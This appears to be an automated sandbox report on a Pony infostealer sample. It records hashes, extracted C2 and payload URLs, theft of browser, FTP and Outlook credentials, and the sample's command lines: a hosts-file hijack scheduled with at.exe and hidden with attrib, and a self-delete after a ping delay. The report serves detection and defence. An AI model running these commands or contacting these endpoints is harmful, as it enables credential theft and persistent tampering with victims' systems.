Analysis
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max time kernel
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max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
26-11-2024 19:36
Static task
static1
Behavioral task
behavioral1
Sample
a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe
Resource
win10v2004-20241007-en
General
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Target
a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe
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Size
99KB
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MD5
a3bf414a1174afe528d6655fb8bd3960
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SHA1
2ea94f9e06d37e19c1ba563832e8429a77b07ba7
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SHA256
8d3132c1473de82bba3997038e9ba2482b503a03692105cf947a1c029235f83a
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SHA512
81c54ef814d6611119f26be386627c08c9e32821b275d5b084fd82c6efd30f0a3c53ff88403723caec76a412c4e0e73afcdaf4b52c07344abdef1e86ea29a6ce
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SSDEEP
3072:fjytSHNiP8NcYKLtZeG8KR8z/Cgdt1Al:WtStiC/K5ZAKRS/Cot1Al
Malware Config
Extracted
pony
http://kjytrf.pw:4915/doc/black.php
http://kjytrf.pw:888/doc/black.php
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payload_url
http://jytrru.pw:888/pic/Flash.exe
Signatures
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Pony family
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\tmp.tmp a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 624 cmd.exe 4208 at.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2800 cmd.exe 3816 PING.EXE -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3816 PING.EXE -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeImpersonatePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeTcbPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeCreateTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeBackupPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeRestorePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeImpersonatePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeTcbPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeCreateTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeBackupPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeRestorePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeImpersonatePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeTcbPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeCreateTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeBackupPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeRestorePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeImpersonatePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeTcbPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeCreateTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeBackupPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeRestorePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeImpersonatePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeTcbPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeCreateTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeBackupPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeRestorePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeImpersonatePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeTcbPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeCreateTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeBackupPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeRestorePrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 5048 wrote to memory of 624 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe 89 PID 5048 wrote to memory of 624 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe 89 PID 5048 wrote to memory of 624 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe 89 PID 5048 wrote to memory of 2800 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe 91 PID 5048 wrote to memory of 2800 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe 91 PID 5048 wrote to memory of 2800 5048 a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe 91 PID 624 wrote to memory of 4208 624 cmd.exe 93 PID 624 wrote to memory of 4208 624 cmd.exe 93 PID 624 wrote to memory of 4208 624 cmd.exe 93 PID 2800 wrote to memory of 3816 2800 cmd.exe 94 PID 2800 wrote to memory of 3816 2800 cmd.exe 94 PID 2800 wrote to memory of 3816 2800 cmd.exe 94 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:5048 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 19:39:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240649671aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\SysWOW64\at.exeat 19:39:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240649671aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:4208
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 6 localhost && erase "C:\Users\Admin\AppData\Local\Temp\a3bf414a1174afe528d6655fb8bd3960_JaffaCakes118.exe"2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\SysWOW64\PING.EXEping -n 6 localhost3⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3816
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3